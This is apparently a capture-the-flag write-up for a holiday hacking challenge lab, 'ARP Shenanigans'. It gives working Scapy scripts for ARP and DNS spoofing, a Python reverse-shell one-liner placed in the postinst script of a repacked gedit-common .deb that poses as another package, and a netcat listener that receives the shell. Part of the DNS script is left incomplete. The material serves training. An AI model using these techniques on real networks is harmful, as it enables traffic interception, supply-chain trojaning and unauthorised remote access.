Skip to content

9. ARP Shenanigans


Alabaster Snowball in the NetWars area as 'grodo'

I've been trying those skills out myself on this other terminal.

I'm pretty sure I can use tcpdump to sniff some packets.

Then I'm going to try a machine-in-the-middle attack.

Next, I'll spoof a DNS response to point the host to my terminal.

Then I want to respond to its HTTP request with something I'll cook up.

I'm almost there, but I can't quite get it. I could use some help!

For privacy reasons though, I can't let you access this other terminal.

I do plan to ask Santa for a hand with it next time he's nearby, though.

Alabaster Snowball in the NetWars area as 'Santa'

It seems that some interloper here at the North Pole has taken control of the host.

We need to regain access to some important documents associated with Kringle Castle.

Maybe we should try a machine-in-the-middle attack?

That could give us access to manipulate DNS responses.

But we'll still need to cook up something to change the HTTP response.

I'm sure glad you're here Santa.




Information displayed in the terminal:

Jack Frost has hijacked the host at with some custom malware.
Help the North Pole by getting command line access back to this host.

Read the file for information to help you in this endeavor.

Note: The terminal lifetime expires after 30 or more minutes so be 
sure to copy off any essential work you have done as you go.

guest@ba2f28e8fbbe:~$ cat 
# How To Resize and Switch Terminal Panes:
You can use the key combinations ( Ctrl+B ↑ or ↓ ) to resize the terminals.
You can use the key combinations ( Ctrl+B o ) to switch terminal panes.
See for more details

# To Add An Additional Terminal Pane:
/usr/bin/tmux split-window -hb

# To exit a terminal pane simply type:

# To Launch a webserver to serve-up files/folder in a local directory:
cd /my/directory/with/files
python3 -m http.server 80
# A Sample ARP pcap can be viewed at:

# A Sample DNS pcap can be viewed at:

# If Reading arp.pcap with tcpdump or tshark be sure to disable name
# resolution or it will stall when reading:
tshark -nnr arp.pcap
tcpdump -nnr arp.pcap

This objective is broken down into 4 stages:

  • ARP spoofing
  • DNS spoofing
  • Exploitation
  • Exfiltration

ARP spoofing

A review of the traffic with tcpdump shows regular ARP requests:

13:38:20.103883 ARP, Request who-has tell, length 28

To spoof the ARP request the MAC address of this host has to be found using:

guest@f1ea6f297ed0:~/scripts$ ifconfig -a
        inet  netmask  broadcast
        ether 02:42:0a:06:00:04  txqueuelen 0  (Ethernet)
        RX packets 3990  bytes 168432 (168.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 11  bytes 966 (966.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
MAC address = 02:42:0a:06:00:04

Now use tshark to get more details from the ARP packet:

guest@f1ea6f297ed0:~/scripts$ tshark -c 1 -T json |less
... SNIP ... SNIP ... SNIP ...
        "arp": {
          "arp.hw.type": "1",
          "arp.proto.type": "0x00000800",
          "arp.hw.size": "6",
          "arp.proto.size": "4",
          "arp.opcode": "1",
          "arp.src.hw_mac": "02:42:0a:06:00:02",
          "arp.src.proto_ipv4": "",
          "arp.dst.hw_mac": "00:00:00:00:00:00",
          "arp.dst.proto_ipv4": ""
... SNIP ... SNIP ... SNIP ...

Description Value
MAC address of host that sent the ARP request 02:42:0a:06:00:02
IP address of host that sent the ARP request
MAC address of this host 02:42:0a:06:00:04
IP address to spoof

This is now sufficient information to modify scripts\ as follows:

def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst="02:42:0a:06:00:02", type=0x806, src="02:42:0a:06:00:04")

        arp_response = ARP(pdst="")
        arp_response.op = 2
        arp_response.plen = 4
        arp_response.hwlen = 6
        arp_response.ptype = 0x0800
        arp_response.hwtype = 1

        arp_response.hwsrc = "02:42:0a:06:00:04"
        arp_response.psrc = ""
        arp_response.hwdst = "02:42:0a:06:00:02"
        arp_response.pdst = ""

        response = ether_resp/arp_response

        sendp(response, iface="eth0")

However, this can be improved as all of the required information is in the ARP request.

# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])

def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst=packet[ARP].hwsrc, type=0x806, src=macaddr)

        arp_response = ARP(pdst=packet[ARP].psrc)
        arp_response.op = 2
        arp_response.plen = 4
        arp_response.hwlen = 6
        arp_response.ptype = 0x0800
        arp_response.hwtype = 1

        arp_response.hwsrc = macaddr
        arp_response.psrc = packet[ARP].pdst
        arp_response.hwdst = packet[ARP].hwsrc
        arp_response.pdst = packet[ARP].psrc

        response = ether_resp/arp_response

        sendp(response, iface="eth0")

Finally, the sniff line in main needs to changed so that the script will run continuously.

def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    # remove count=1 so that it runs continuously
    sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0)

The code is here

DNS spoofing

With the ARP spoofing working, the output of tcpdump now shows DNS queries for:

14:45:33.056125 IP > 0+ A? (32)

scripts\ needs to be modified as follows:

from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = ""

def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need

    # mac address of this host as source and the mac address of the requestor from the packet
    eth = Ether(src=macaddr, dst=packet[Ether].src)

    # IP addresses are of the requestor and the our spoofed IP as the requestor thinks it is talking
    # to that ip address
    ip  = IP(dst=packet[IP].src, src=ipaddr_we_arp_spoofed)  # need to replace IP addresses

    # need to use set the dport to the value of the port used by the requestor or it will not get back
    # and the source port has to be 53 as that is the port for DNS
    udp = UDP(dport=packet[UDP].sport, sport=53)                             # need to replace ports
    dns = DNS(
        # send a reply that the IP address for is the ip address of this host
        an=DNSRR(rrname=packet[DNSQR].qname, rdata=ipaddr),
        # indicate that there is 1 record being returned
    ancount = 1,
    # include details of the query
    # indicate that this is a response
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")

def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )

    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    # remove count=1 so that it runs continuously
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0")

if __name__ == "__main__":

The code is here


The next step is to see what the http request looks like, so start a simple web server using python:

guest@cf750ca9c858:~/scripts$ python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [28/Dec/2020 12:04:12] code 404, message File not found - - [28/Dec/2020 12:04:12] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 - - - [28/Dec/2020 12:04:13] code 404, message File not found

For to find the file that it is looking for the directory structure shown above needs to be created:

guest@cf750ca9c858:~$ mkdir -p pub/jfrost/backdoor

and the webserver restarted:

guest@cf750ca9c858:~$ python3 -m http.server 80

Now follow the instructions to send a command in a customized .deb file

The command that will be sent is:

export RHOST=""
export RPORT=4444
/usr/bin/python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")' &
exit 0
The python command above will create a reverse shell to the host that the terminal is running on. The IP address may need to be updated.

Save this file to scripts/postinst.

Create the new debian file as follows:

guest@712ca3339882:~$ cd debs
guest@712ca3339882:~/debs$ mkdir packing
guest@712ca3339882:~/debs$ cd packing
guest@712ca3339882:~/debs/packing$ dpkg -x ../gedit-common_3.36.1-1_all.deb work
guest@712ca3339882:~/debs/packing$ mkdir work/DEBIAN
guest@712ca3339882:~/debs/packing$ ar -x ../gedit-common_3.36.1-1_all.deb
guest@712ca3339882:~/debs/packing$ ls
control.tar.xz  data.tar.xz  debian-binary  work
guest@712ca3339882:~/debs/packing$ xz -dc control.tar.xz | tar -xvf - ./control
guest@712ca3339882:~/debs/packing$ mv control work/DEBIAN
guest@712ca3339882:~/debs/packing$ cp ~/scripts/postinst work/DEBIAN
guest@712ca3339882:~/debs/packing$ chmod 755 work/DEBIAN/postinst
guest@712ca3339882:~/debs/packing$ dpkg-deb --build ./work
dpkg-deb: building package 'gedit-common' in './work.deb'.

A netcat listener will need to be started on the same port as set in the postinst file to listen for the reverse shell:

nc -nlvp 4444

Now the .deb can be copied over and the shell should open almost immediately:

guest@712ca3339882:~/debs/packing$ cp work.deb ~/pub/jfrost/backdoor/suriv_amd64.deb


Now the file can be accessed and if necessary a copy created.

guest@712ca3339882:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 60152
bash: /root/.bashrc: Permission denied
jfrost@142ad56841d6:/$ ls
NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt  etc    lib64   opt   sbin  usr
bin                                            home   libx32  proc  srv   var
boot                                           lib    media   root  sys
dev                                            lib32  mnt     run   tmp
jfrost@142ad56841d6:/$ cat NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt

Reading through a copy of NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt, it is found that "Tanta Kringle" recused herself.


Tanta Kringle

Summary - video

There a quick run through of the process in this video to see how the panes are used in Tmux.